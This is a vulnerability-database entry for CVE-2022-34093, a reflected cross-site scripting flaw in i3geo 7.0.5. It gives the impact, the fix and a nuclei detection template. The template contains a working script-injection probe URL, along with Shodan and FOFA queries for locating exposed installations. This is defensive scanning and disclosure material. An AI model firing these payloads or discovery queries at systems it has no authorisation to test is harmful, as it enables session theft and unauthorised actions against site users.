HexBrain

Browse / CVEs / CVE-2022-34093

CVE-2022-34093· softwarepublico / i3geo· CWE-79

Software Publico Brasileiro i3geo v7.0.5 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.6%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

Portal do Software Publico Brasileiro i3geo v7.0.5 was discovered to contain a cross-site scripting (XSS) vulnerability via access_token.php.

Impact

Attackers can inject malicious JavaScript through parameters in the LinkedIn OAuth access_token.php endpoint that executes in users' browsers, potentially stealing session tokens or performing unauthorized actions in the i3geo geographic information system.

Fix

Update i3geo to a version later than 7.0.5 that properly sanitizes and encodes user input in access_token.php.

How to confirm it

Send: GET {{BaseURL}}/i3geo/pacotes/linkedinoauth/example/access_token.php?=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "%3Cscript%3Ealert(document.domain)%3C/script%3E", "Invalid consumer key")

Run it with nuclei: nuclei -id CVE-2022-34093 -u <target>

The full check
id: CVE-2022-34093

info:
  name: Software Publico Brasileiro i3geo v7.0.5 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Portal do Software Publico Brasileiro i3geo v7.0.5 was discovered to contain a cross-site scripting (XSS) vulnerability via access_token.php.
  impact: |
    Attackers can inject malicious JavaScript through parameters in the LinkedIn OAuth access_token.php endpoint that executes in users' browsers, potentially stealing session tokens or performing unauthorized actions in the i3geo geographic information system.
  remediation: |
    Update i3geo to a version later than 7.0.5 that properly sanitizes and encodes user input in access_token.php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34093
    - https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt#L44
    - https://owasp.org/www-community/attacks/xss/
    - https://softwarepublico.gov.br/social/i3geo
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-34093
    cwe-id: CWE-79
    epss-score: 0.02629
    epss-percentile: 0.85636
    cpe: cpe:2.3:a:softwarepublico:i3geo:7.0.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: softwarepublico
    product: i3geo
    shodan-query: http.html:"i3geo"
    fofa-query: body="i3geo"
  tags: cve,cve2022,i3geo,xss,softwarepublico,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/i3geo/pacotes/linkedinoauth/example/access_token.php?=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "%3Cscript%3Ealert(document.domain)%3C/script%3E", "Invalid consumer key")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from